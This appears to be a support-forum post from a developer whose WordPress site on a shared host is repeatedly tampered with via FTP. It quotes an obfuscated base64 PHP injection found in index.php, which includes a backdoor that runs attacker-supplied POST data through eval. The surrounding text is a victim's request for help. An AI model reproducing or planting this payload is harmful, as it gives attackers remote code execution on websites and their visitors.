I've been having a LOT of trouble with a particular client hosting site. We've been developing a business website using Wordpress as a backend to take advantage of the Content Management system. Pretty much since the first day or 2 we set this site up we've been having rampant problems with things mysteriously breaking overnight, coming in in the morning to find that the Admin Dashboard is completely scrambled one day, the next day finding the entire site gone (the dreaded Wordpress 'White Screen of Death').
The domain in question is
www.heatherapy.comThe Wordpress installation (under development, so not at the top level now) is
www.heatherapy.com/2010After the last major problem, I was sure to create a local backup for quick restores (Just did this yesterday morning).
Today, I came in once again to find the Admin Dashboard was all scrambled. This after the site had sat untouched by anyone overnight. I couldn't understand why a website would suddenly become unfunctional after simply sitting idle.
I took a look at the files on the server, and compared them to my local backup (taken yesterday) and discovered that DOZENS of PHP files within the Wordpress install had been mysteriously changed overnight. I compared some of these 'tampered' files with the originals, and found most, if not all of them had random strings of code mysteriously written at the top of the PHP file.
Here's an example of what I found stuck into the index.php file ... All this gibberish wasn't in the local version in my backup, can't figure out how it got there.
<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnZzh1OScpKXtmdW5jdGlvbiBnOHU5KCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXC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GFydCgnZzh1OScpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRnOHU5bD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcignZzh1OTInKSkhPSdnOHU5MicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?>
Starting to get very annoyed at this, I dug a little deeper, and looked through the FTP logs and discovered that not just one, but numerous IP addresses had been accessing the site and FTP'ing modified files to our own server.
Now we did have a similar problem a few weeks back with HTML files on our site being modified, at the time our password was weak, so we changed it to be safe. No problems for awhile, but now this is happening again. I've changed the password again (this time to an even Stronger random generated password) so we'll have to wait and see if this keeps the vandals out.
Considering all of the above .... are there any further secuirty steps I can take on my end to lock out vandals from tampering with this account? Are there any security issues on Sedna itself that could be causing these frequent and aggressive security breaches? If so is it possible to have this account moved off to a different hosting server? I have had more problems with this one particular account hosted on Sedna, than I have with any of my other accounts. As a matter of fact, right now I'm having difficulty connecting to the site (keeps timing out) for the second time in the past week.